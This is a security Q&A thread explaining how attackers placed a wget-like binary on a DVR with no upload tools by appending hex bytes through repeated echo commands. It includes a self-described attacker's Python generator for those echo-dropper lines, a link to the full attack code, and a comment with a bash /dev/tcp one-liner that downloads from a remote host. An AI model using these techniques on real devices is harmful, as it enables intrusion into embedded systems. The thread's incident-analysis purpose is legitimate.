Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and:

This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client.

...

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget".

I do not understand how could even the basic fundamentals of wget fit in 51 bytes. The article contains a packet dump, so I guess I could write it to file and try to reverse engineer the binary but I suspect there's something else going on here.

Could anyone help me understand how is this happening? Is the "binary" doing a library call to network functionalities?

share|improve this question

4 Answers 4

up vote 32 down vote accepted

The author had made the mistake of being ambiguous and confused the readers a bit. I must admit, like you, I was confused at first, until I saw the PCAP dump.

First of all, the box indeed doesn't have wget

enter image description here

The attacker didn't use that one echo statement, he used a series of echo statements. I counted about 107 echo statements progressively building the executable rand0-btcminer-arm. At about 50 bytes each, that's about 5350 bytes. Way more than enough to achieve a simple HTTP download.

Here's a snippet of them (highlighted in red):

enter image description here

share|improve this answer
1  
Excellent answer. Thank you - indeed I assumed that nothing followed the first wget. Would you mind editing your answer to print out what did you use to see the pcap dump? Seems to me you've used wireshark - did you specify any particular option? –  lorenzog May 5 at 17:58
    
@lorenzog Nothing fancy. I actually just right-clicked on the .pcap file and chose "Open with..." and then chose Wireshark. –  Adnan May 5 at 18:05
    
Fair enough :) I did not even bother trying, having assumed the next step would be reverse engineering a binary. Thank you again –  lorenzog May 5 at 18:07

I'm the guy who wrote the code which compromises the dvrs, and as said above, there is a script which simply connects and "echo"s the binary into a file, where it can be executed. As we are only echoing the raw bytes into the file and also excluding any new lines (-n), the result is an identical file. You can generate a set of the echo lines yourself by using the function which is used in the attack script.

#get a list of echo commands we need to run
#by iterating through a file and converting sections of bytes (50 a time)
#into hex and then putting them into an echo -ne 'HEX' line
#additionally, we write \\x64\\x6f\\x6e\\x65 (ascii: done) which will allow us to verify that worked after
def getEchoList(localName, outputName, location):
    with open(localName, "rb") as f:
        converted = None
        result = []
        byte = f.read(1)
        i = 0
        current = ""

        while byte != "":
            if i == 51:
                i = 0
                result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
                current = ""
            current = current + "\\x"+byte.encode("hex")
            byte = f.read(1)
            i = i + 1

        if len(current) > 0:
            i = 0
            result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
            current = ""
        return result

list = getEchoList("some-binary", "to-echo-to", "/var/run")
for line in list:
    print(line)

Obviously this code is horrible, but it's what we were using. The reason we can't do open('/dev/tcp/IP/port') is because the dvrs dont run bash, and I think that's built into bash. The dvrs have a minimal busybox environment, with no wget, ftpget, or any other real way of getting files on there, as the post states. Full code available at http://pastebin.com/s41eE1nM

share|improve this answer

I am the author of the post, and indeed, "1" is correct. The easiest way to find all the packets that make up the "wget" upload is the wireshark filter "tcp.stream eq 1" (see link in original article for the pcap).

The just "follow TCP stream" and filter the part from 142.0.45.42 to 192.168.1.100.

"Save as" (raw) and you got a text file with the content.

the edit the file in your favorite text editor and remove the lines that lead to the series of "echoes" as well as the couple lines at the end that run the commands.

replace "/var/run" with "/tmp"

run the script on a (throwaway) linux system... voila you end up with the binary

$ md5 rand0-btcminer-arm
MD5 (rand0-btcminer-arm) = d1232ef223445276fe5f0f854358f021
$ file rand0-btcminer-arm
rand0-btcminer-arm: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

The reason I call it "wget" is that it uses the Wget user agent:

$ strings rand0-btcminer-arm  |grep Wget
User-Agent: Wget
share|improve this answer
    
Thanks for the clarification. I took the liberty of asking here instead that commenting on the blog for ease of search and hoping to leave something back to the community. Good luck with the rest of your research :) –  lorenzog May 5 at 18:27
    
Hey, Johannes. Thanks for following up on your post here. Any theories on why the executable is that big? If I recall correctly, one can easily open('/dev/tcp/IP/port'), send a GET URL in that stream, and then save the body of the response to a file. Last time I did that it took about 800 bytes of shellcode (I suppose it can be made a bit smaller, but I'm not that good with shellcode). –  Adnan May 5 at 18:38
1  
Hi Johannes, I don't know if you noticed but the author of another answer claims to be the person who wrote the code that compromised your system. –  lorenzog May 6 at 8:09
    
@Adnan: One cannot open() that file, but one can redirect to it within bash, which has special magic to convert redirects from/to those paths into a connect() call. A short version would be (echo -e "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n">&0;sed '1,/^\r$/d')</dev/tcp/$host/80. If the server supports HTTP/0.9, it would be (echo -e "GET $path\r\n">&0;sed '1,/^\r$/d')</dev/tcp/$addr/80. (Again, the OS itself does not support this, you have to use socket() & connect() if you're writing in C or asm. But that isn't much, Busybox wget could easily be under 1 kB.) –  grawity May 6 at 21:40
    
@grawity Very well, thanks for the explanation. I must have used socket() and connect() when I did it with about 800 bytes. –  Adnan May 7 at 4:12

The example in the article is just one of many echo statements that are used to progressively build the file. Because it uses the >> redirection operator, it does not clobber the existing contents of the file but appends to it instead.

Quoting from the article:

Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary.

share|improve this answer
    
You're right, I had misread the article when he said "uses a series of echo commands" and assumed that after the first echo the wget would have been functional (see my original quote). –  lorenzog May 5 at 18:06

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.